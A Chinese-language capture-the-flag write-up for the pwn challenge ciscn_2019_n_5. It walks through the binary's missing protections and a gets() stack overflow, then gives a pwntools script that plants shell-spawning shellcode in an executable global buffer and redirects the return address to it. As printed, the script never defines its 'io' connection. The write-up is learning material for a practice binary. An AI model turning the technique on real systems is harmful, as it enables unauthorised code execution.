# 题源

https://buuoj.cn/challenges#ciscn_2019_n_5

# 题解

# 文件保护

checksec 查看文件保护机制:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

不仅没有开启任何保护机制,而且还有 RWX 段。可想而知题目思路应该是写入代码然后劫持控制流。

# 反编译

IDA 查看一下 main:

p1

# 攻击面

可见其向 name 写入 100 字符,然后 gets 存在栈溢出问题。这里的 name 是 bss 段的全局变量,为 RWX 区。

# exp

因此可以很简单地写出 exp:

from pwn import *
from pwn import p64
context.arch = 'amd64'
filename = './ciscn_2019_n_5'
pro = ELF(filename)
main_addr = pro.symbols['main']
name_addr = pro.symbols['name']
payload = asm(shellcraft.sh())
io.sendlineafter('your name',payload)
payload = asm('nop')*(0x20+8) + p64(name_addr)
io.sendlineafter('to me',payload)
io.interactive()

# 总结

本题非常简单,算是 pwn 类型的签到题,预期时间是 2min 内解决。这题是在直播的时候写的(虽然没有人看 ovo)这里总结两点注意:

  • IDA 调试的时候 gets 有两个参数,一度怀疑对 gets 用法不清,后来 objdump 看代码,发现只是简单的 gets,不知道 IDA 又出了什么问题
  • 不需要自己处理具体的代码,关于地址直接 symbols 拿,关于 shellcode 直接 craft 一个
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

c01dkit 微信支付

微信支付

c01dkit 支付宝

支付宝

c01dkit qqpay

qqpay